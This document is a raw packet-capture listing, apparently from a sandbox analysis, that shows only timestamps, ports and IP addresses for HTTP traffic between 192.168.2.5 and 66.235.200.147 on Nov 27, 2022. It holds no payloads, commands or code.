Nov 27, 2022 04:36:43.074604988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074616909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074621916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074640989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074642897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074660063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074662924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074680090 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074680090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074698925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074701071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074719906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074722052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074737072 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074743032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074759960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074762106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074780941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074784040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074798107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074803114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074820042 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074820995 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074841976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074842930 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074855089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074861050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074889898 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074894905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074894905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074909925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074928999 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074934959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074947119 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074948072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074966908 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074971914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.074985027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.074987888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075004101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075011969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075023890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075026035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075042963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075048923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075059891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075063944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075084925 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075087070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075098991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075105906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075124979 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075145006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075145960 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075164080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075174093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075185061 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.075201035 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075213909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.075234890 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092206001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092246056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092266083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092287064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092305899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092334032 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092350960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092354059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092354059 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092370987 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092389107 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092391968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092402935 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092412949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092425108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092432022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092438936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092453003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092467070 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092472076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092480898 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092493057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092498064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092511892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092519045 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092530966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092534065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092551947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092557907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092571020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092586040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092591047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092608929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092612982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092633009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092636108 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092653036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092664003 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092670918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092689991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092694998 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092710018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092726946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092726946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092732906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092753887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092753887 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092770100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092773914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092794895 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092794895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092817068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092823982 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092838049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092849970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092858076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092878103 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092883110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092897892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092906952 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092919111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092935085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092937946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092956066 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092959881 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092967987 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.092982054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.092999935 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093018055 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093036890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093055010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093060970 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093074083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093091965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093110085 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093123913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093142986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093147039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093147039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093163013 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093166113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093180895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093199015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093199015 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093213081 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093219042 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093236923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093240023 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093252897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093261957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093281031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093300104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093307972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093319893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093319893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093341112 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093352079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093358994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093374014 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093380928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093389988 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093400955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093411922 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093420029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093425989 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093441010 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093447924 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093461037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093466043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093481064 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093485117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093499899 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093504906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093522072 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093523026 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093542099 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093542099 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093563080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093570948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093581915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093591928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093600988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093610048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093621016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093631029 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093640089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093652010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093658924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093667030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093677998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093688011 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093698025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093705893 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093719006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093728065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093738079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093749046 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093756914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093765974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093775988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093796015 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093806028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093815088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093827963 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093836069 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093853951 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093854904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093873024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093883991 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093904972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093921900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093921900 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093935013 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093943119 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093955994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093961954 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093971968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.093981028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.093987942 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094000101 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094012976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094018936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094037056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094038010 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094054937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094065905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094073057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094082117 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094090939 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094108105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094110966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094131947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094136953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094151974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094166040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094166040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094170094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094188929 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094201088 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094207048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094217062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094225883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094234943 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094244957 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094257116 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094263077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094268084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094280958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094289064 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094299078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094316006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094316959 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094335079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094341040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094352961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094371080 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094371080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094371080 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094383955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094388008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094404936 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094407082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094419956 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094427109 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094439030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094444990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094456911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094463110 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094472885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094481945 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094494104 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094501019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094506025 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094535112 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094543934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094562054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094594002 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094599962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094624043 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094624996 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094649076 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094649076 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094664097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094676018 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094691038 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094698906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094718933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094723940 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094741106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094747066 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094764948 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094772100 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094785929 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094795942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094811916 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094820976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094837904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094845057 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094861031 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094870090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094886065 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094916105 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094917059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094943047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094960928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094968081 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.094985962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.094993114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095017910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095041037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095048904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095065117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095079899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095088959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095104933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095112085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095132113 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095145941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095158100 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095170975 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095192909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095216036 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095238924 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095262051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095273972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095285892 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095304012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095308065 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095319986 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095331907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095346928 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095357895 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095370054 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095380068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095381021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095403910 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095403910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095427990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095427990 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095439911 CET	49705	80	192.168.2.5	66.235.200.147
